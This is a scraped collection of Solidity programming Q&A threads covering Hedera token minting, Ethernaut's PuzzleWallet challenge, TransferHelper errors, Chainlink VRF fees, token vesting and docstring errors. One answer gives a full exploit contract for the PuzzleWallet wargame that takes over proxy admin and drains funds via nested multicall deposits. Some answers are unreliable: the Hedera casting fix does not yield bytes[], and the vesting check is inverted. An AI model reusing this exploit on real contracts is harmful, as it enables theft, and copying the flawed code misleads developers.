Conversion from string storage ref to bytes memory[] memory - solidity

Error:
Invalid type for argument in function call. Invalid implicit conversion from string storage ref to bytes memory[] memory requested.
Code:
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
import "./hip-206/HederaTokenService.sol";
import "./hip-206/HederaResponseCodes.sol";
contract Mint is HederaTokenService{
address tokenAddress
string public uri = "abc"
function mint(uint64 _amount) external {
(
int256 response,
uint64 newTotalSupply,
) = HederaTokenService.mintToken(tokenAddress, _amount, uri);
if (response != HederaResponseCodes.SUCCESS) {
revert("Mint Failed");
}
The issue arrises when I try to call the function HederaTokenService.mintToken because it expects the uri to be a bytes memory[] memory. Not sure how to convert it.
The following is the function of mintToken:
/// Mints an amount of the token to the defined treasury account
/// #param token The token for which to mint tokens. If token does not exist, transaction results in
/// INVALID_TOKEN_ID
/// #param amount Applicable to tokens of type FUNGIBLE_COMMON. The amount to mint to the Treasury Account.
/// Amount must be a positive non-zero number represented in the lowest denomination of the
/// token. The new supply must be lower than 2^63.
/// #param metadata Applicable to tokens of type NON_FUNGIBLE_UNIQUE. A list of metadata that are being created.
/// Maximum allowed size of each metadata is 100 bytes
/// #return responseCode The response code for the status of the request. SUCCESS is 22.
/// #return newTotalSupply The new supply of tokens. For NFTs it is the total count of NFTs
/// #return serialNumbers If the token is an NFT the newly generate serial numbers, otherwise empty.
function mintToken(address token, uint64 amount, bytes[] memory metadata) internal
returns (int responseCode, uint64 newTotalSupply, int64[] memory serialNumbers)
{
(bool success, bytes memory result) = precompileAddress.call(
abi.encodeWithSelector(IHederaTokenService.mintToken.selector,
token, amount, metadata));
(responseCode, newTotalSupply, serialNumbers) =
success
? abi.decode(result, (int32, uint64, int64[]))
: (HederaResponseCodes.UNKNOWN, 0, new int64[](0));
}

Just casting it works for me:
bytes memory var = bytes(<storage string>);

Related

Encoding a bytes[] for encodeWithSignature

As part of the PuzzleWallet challenge from Ethernaut, I am looking to call this method of an external contract from my contract:
function multicall(bytes[] calldata data) external payable onlyWhitelisted
More specifically, I am trying to call with a recursive call.
multidata
________|________
| |
multidata multidata
| |
deposit deposit
I am using abi.encodeWithSignature method but it looks like Solidity doesn't allow Nested dynamic arrays not implemented here.:
bytes memory data = abi.encode([bytes4(keccak256('deposit()'))]);
bytes memory singleMulticallData = abi.encodePacked(bytes4(keccak256('multicall(bytes[])')), data);
(bool successDeposit, ) = address(proxy).call(abi.encodeWithSignature("multicall(bytes[])", [singleMulticallData, singleMulticallData]));
require(successDeposit, "deposit not successful");
Any idea on how you could create an array of bytes which would contain bytes?
Add "pragma experimental ABIEncoderV2;".
2.the follow is my solution For your reference.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./PuzzleWallet.sol";
contract Exploit{
PuzzleProxy public proxy;
constructor(PuzzleProxy _proxy) public payable{
require(msg.value == 0.001 ether, "incorrect msg.value");
proxy = _proxy;
proxy.proposeNewAdmin(address(this));
PuzzleWallet wallet = PuzzleWallet(address(proxy));
wallet.addToWhitelist(address(this));
bytes memory data = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
bytes[] memory data1 = new bytes[](1);
data1[0] = data;
bytes memory data2 = abi.encodeWithSelector(PuzzleWallet.multicall.selector, data1);
bytes[] memory data3 = new bytes[](2);
data3[0] = data2;
data3[1] = data2;
wallet.multicall{value:0.001 ether}(data3);
uint256 balance = wallet.balances(address(this));
require(balance == 0.002 ether, "unexpected balance");
wallet.execute(msg.sender, balance, new bytes(0));
wallet.setMaxBalance(uint256(uint160(address(this))));
require(proxy.admin() == address(this), "fail to exploit");
}
}

Getting TransferHelper: TRANSFER_FROM_FAILED from TransferHelper.sol. Why?

I'm new to solidity. I'm currently getting the following error TransferHelper: TRANSFER_FROM_FAILED from the safeTransferFrom function. Can someone tell me why?
What is this line doing?
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(0x23b872dd, from, to, value)
);
Here's the entire contract:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
/**
* #dev A helper methods for interacting with ERC20 tokens and
sending ETH that do not consistently return true/false.
*/
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(0x095ea7b3, to, value)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"TransferHelper: APPROVE_FAILED"
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(0xa9059cbb, to, value)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"TransferHelper: TRANSFER_FAILED"
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(0x23b872dd, from, to, value)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"TransferHelper: TRANSFER_FROM_FAILED"
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, "TransferHelper: ETH_TRANSFER_FAILED");
}
}
Just a note, TransferHelper is the prewritten library, and we shouldn't touch into it. What you should do is see the message like: Transfer From Failed or approved fail and check our ERC20 token code as well as the data submit whether it's valid or not.
1st question:
This problem usually happens when your ERC20 token can't be transfer.
There're several reason for this: un-approval, not enough balance...
2nd question:
abi.encodeWithSelector(0x23b872dd, from, to, value)
This function returns a selector (think of is as a function ref) to the transfer(...) of your ERC20 token. And this is called by token.call( a kind of reflection.
This error is for the following reasons:
if the token has fees on transfer remember to be correctly calling the exchange function that supports transfer fees: https://docs.uniswap.org/protocol/V2/reference/smart-contracts/router-02
note that the token submissions permission is sufficient in the token contract. The same happens with the manipulation of WETH it is necessary to give the necessary permissions in the contract.

gas estimation errored with message: "execution reverted: Below agreed payment"

I am having issues when trying to use the Chainlink random number generator and deploying to Rinkeby. Relevant code pieces are the following:
Constructor from the importing contract (should be working fine).
// RandomNumberConsumer parameters for RINKEBY testnet
address _vrfCoordinator = 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B;
address _link = 0x01BE23585060835E02B77ef475b0Cc51aA1e0709;
bytes32 _keyHash = 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311;
uint256 _fee = 0.1 * 10 ** 18; // 0.1 LINK
constructor() RandomNumberConsumer(_vrfCoordinator, _link, _keyHash, _fee) {}
RandomNumberConsumer.sol. As specified in the chainlink docs, with a few tweaks needed for my approach.
pragma solidity ^0.8.7;
import "#chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
import "#openzeppelin/contracts/access/Ownable.sol";
import "hardhat/console.sol";
contract RandomNumberConsumer is VRFConsumerBase, Ownable{
// Variables
bytes32 internal s_keyHash;
uint256 internal s_fee;
uint256 private constant ROLL_IN_PROGRESS = 150;
mapping(bytes32 => address) private s_rollers;
mapping(address => uint256) private s_results;
//address vrfCoordinator = 0x3d2341ADb2D31f1c5530cDC622016af293177AE0;
//address link = 0xb0897686c545045aFc77CF20eC7A532E3120E0F1;
// Events
event DiceRolled(bytes32 indexed requestId, address indexed roller);
event DiceLanded(bytes32 indexed requestId, uint256 indexed result);
/**
* Constructor inherits VRFConsumerBase
*
* Network: Rinkeby
* Chainlink VRF Coordinator address: 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B
* LINK token address: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709
* Key Hash: 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311
*/
constructor(address vrfCoordinator, address link, bytes32 keyHash, uint256 fee)
VRFConsumerBase(vrfCoordinator, link){
s_keyHash = keyHash;
s_fee = fee;
}
// Functions
function rollDice(address roller) public onlyOwner returns (bytes32 requestId){
console.log("RNG Contract address",address(this));
// Checking LINK balance
require(LINK.balanceOf(address(this)) >= s_fee, "Not enough LINK in contract.");
// Checking if roller has already rolled dice since each roller can only ever be assigned to a single house. TODO: this can be changed
require(s_results[roller] == 0, "Already rolled");
// Requesting randomness
requestId = requestRandomness(s_keyHash, s_fee); // Error is happening here!
// Storing requestId and roller address
s_rollers[requestId] = roller;
// Emitting event to signal rolling of dice
s_results[roller] = ROLL_IN_PROGRESS;
emit DiceRolled(requestId, roller);
}
// fulfillRandomness is a special function defined within the VRFConsumerBase contract that our contract extends from.
// The coordinator sends the result of our generated randomness back to fulfillRandomness.
function fulfillRandomness(bytes32 requestId, uint256 randomness) override internal {
// Transform the result to a number between 0 and 100, both included. Using % as modulo
require(randomness!=0, "Modulo zero!");
uint256 d100Value = (randomness % 100) + 1; // +1 so s_results[player] can be 0 if no dice has been rolled
// Assign the transformed value to the address in the s_results mapping variable.
s_results[s_rollers[requestId]] = d100Value;
// Emit a DiceLanded event.
emit DiceLanded(requestId, d100Value);
}
// playerWins determines whether the player wins or lose the battle, based on a fixed chance (0-100)
function playerWins (address player, uint8 chance) internal view returns (bool wins){
require(s_results[player] != 0, "Player has not engaged in battle!");
require(s_results[player] != ROLL_IN_PROGRESS, "Battle in progress!");
return s_results[player] <= (chance + 1); //+1 because dice is 1-101
}
}
RNG call from the importing contract(simplified to relevant part only. _player address is working correctly).
address _player = ownerOf(_monId);
rollDice(_player);
I have the certainty that the error occurs inside the rollDice function, more specifically in the call to requestRandomness. Apart from that, I cannot seem to find why the error is hapenning, nor any references to the error message (Below agreed payment) inside any of the dependency contracts. Cannot find any references online either.
Any help is appreciated, thanks.
Below agreed payment error message comes from the sufficientLINK modifier of the VRFCoordinator.sol contract. You can see it here and here.
Double-check the constructor parameters, especially the fee value.
Also, make sure to fund your smart contract with Rinkeby LINK tokens which you can claim from the faucet.

Smart contract Token distribution solution

I have a question regard to the token sale: How token distribution work?
An example:
10% for private sale
30% for public sale
20% for dev team
40% for rewards
The number of token will be transferred to these address at the time the token created or it will be transferred to these address after that?
It depends on the token contract implementation, can be both.
Example that mints 100 tokens to public sale available right after token creation, and reserves another 50 for later vesting by a dev team address:
pragma solidity ^0.8;
contract MyToken {
mapping (address => uint256) _balances;
mapping (address => Vesting) _vesting;
struct Vesting {
uint256 amount;
uint64 unlockTime;
}
constructor() {
address publicSaleAddress = address(0x123);
address devTeamAddress = address(0x456);
// set the `publicSaleAddress` balance right away
_balances[publicSaleAddress] = 100;
// don't set the `devTeamAddress` balance now
// instead, allow them to claim it after some time
uint64 deadline = uint64(block.timestamp) + 365 days;
_vesting[devTeamAddress] = Vesting(
50,
deadline
);
}
function unvest() external {
// check if they have something to unvest
require(_vesting[msg.sender].amount > 0, 'Nothing to unvest');
// check if they are allowed to unvest yet
require(_vesting[msg.sender].unlockTime >= block.timestamp, 'Not yet');
// increase their balance
_balances[msg.sender] += _vesting[msg.sender].amount;
// prevent them from claiming the balance again
_vesting[msg.sender] = Vesting(0, 0);
}
}

Why is my solidity constructor expecting two variables that aren't specified in the parameters?

I am using solidity 0.5.0 My smart contract is expecting two variables in the constructor that aren't in the constructor. rate and wallet. This is my smart contract
contract Crowdsale is Owned{
using SafeMath for uint256;
// The token being sold
IERC20 _token;
// Address where funds are collected
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 rate;
// Amount of wei raised
uint256 _weiRaised;
bool status;
address payable wallet;
/**
* Event for token purchase logging
* #param purchaser who paid for the tokens
* #param beneficiary who got the tokens
* #param value weis paid for purchase
* #param amount amount of tokens purchased
*/
event TokensPurchased(address purchaser, address beneficiary, uint256 value, uint256 amount);
/**
* #param rate Number of token units a buyer gets per wei
* #dev The rate is the conversion between wei and the smallest and indivisible
* token unit. So, if you are using a rate of 1 with a ERC20Detailed token
* with 3 decimals called TOK, 1 wei will give you 1 unit, or 0.001 TOK.
* #param wallet Address where collected funds will be forwarded to
* #param token Address of the token being sold
*/
constructor (IERC20 token) public {
rate = 100;
_token = token;
// address payable token = Token();
wallet = 0x64eCe92B79b096c2771131870C6b7EBAE8C2bd7E;
status = true;
}
This is the error I keep getting
DocstringParsingError: Documented parameter "rate" not found in the parameter list of the function.
,DocstringParsingError: Documented parameter "wallet" not found in the parameter list of the function.
Your constructor takes only one parameter - token. But your docstring describes two additional parameters - rate and wallet:
* #param rate Number of token units a buyer gets per wei
* #param wallet Address where collected funds will be forwarded to
You need to remove them from the list of params specified in the Docstring. I.e. remove the lines or mark them as a regular comment - but not use the #param keyword.